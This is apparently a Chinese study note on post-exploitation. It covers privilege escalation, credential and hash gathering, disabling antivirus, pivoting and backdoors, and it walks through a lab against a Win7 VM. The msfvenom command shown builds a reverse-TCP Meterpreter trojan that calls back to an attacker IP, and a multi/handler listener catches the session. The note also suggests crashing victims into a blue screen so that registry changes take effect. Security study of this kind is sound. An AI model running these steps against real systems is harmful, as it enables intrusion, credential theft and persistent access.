后渗透学习笔记（一）

什么是后渗透？

攻陷了服务器，主机取得一定权限（可能不是很高）就开始进入了后渗透阶段 把对方机器打蓝屏重启有什么作用？ 使得我们修改注册表等配置信息可以生效 windows的控制权限UAC，重启才可以生效，可以使用远程溢出蓝屏，用户可能会以为是bug，意外情况，所以不会注意，从而使修改信息生效 1.权限提升：权限提升的几种方式 （1）利用更高权限的进程进行操作，获得会话session （2）windows下的用户控制，exe执行时弹出的框问你是否要执行，这个东西就是UAC （3）利用服务器里面的本地提权漏洞进行权限提升（会在msf中）

2.信息收集：服务器信息、Hash、防火墙杀毒软件（利用一些方式将其关闭，最好设置些策略）、账号密码（管理员的账号密码或哈希值（哈希传递等方式登录）） 服务器信息，浏览器的浏览记录，网络数据的监听捕获，敏感文件搜索，查看是否是一台虚拟机，最近执行的操作 3.内网渗透：端口转发（把内网的端口转到外网上面来，进行连接）、代理跳板 4.后门植入：永久后门维持权限（msf中集成了几种永久后门）

以下利用msfvenom生成木马获取权限开启后渗透阶段（当然也可以通过其他端口的漏洞等获取到meterpreter权限）

kali上先生成一个可以反弹shell得木马，这里我的win7靶机是64位，所以x64，如果是32位的使用x86

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=攻击机ip lport=4444 -f exe > msf1.exe

下面是使用msfvenom的部分参数，是比较常用的

-p 选择一个payload

-l 载荷列表

-f 生成的文件格式

-e 编码方式

-i 编码次数

-b 在生成的程序中避免出现的值

-x 允许我们指定一个自定义的可执行文件作为模板，也就是将木马捆绑到这个可执行文件上。

-h 帮助

之后开启httpserver python -m SimpleHTTPServer 800

然后win7上访问攻击机ip:800,对木马文件进行下载

然后点击执行，但是我这里不知道什么影响出现点小问题

会这样如果关掉，meterpreter上获取到的session就会断掉，为了完成实验这里我们不关闭，然后回到kali进入msfconsole

msfconsole中配置监听脚本 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 攻击机ip exploit

端口默认是4444

开启监听后，当靶机触发该木马时会获取到sessions

然后我们ctrl+c终止下，查看下sessions，看到我们获取到的会话id，然后进入

session -i 9（这里对应的id）

然后我们尝试用python交换端获取到一个稳定的ttl，但是好像win7上没有python环境，导致无法执行

最后我们还发现这样的反弹会话还不够稳定，一会可能还会断开连接（这里可能时我们生成的马没有完美的执行造成的吧）

这里也希望有大佬可以给我解个惑

----------------------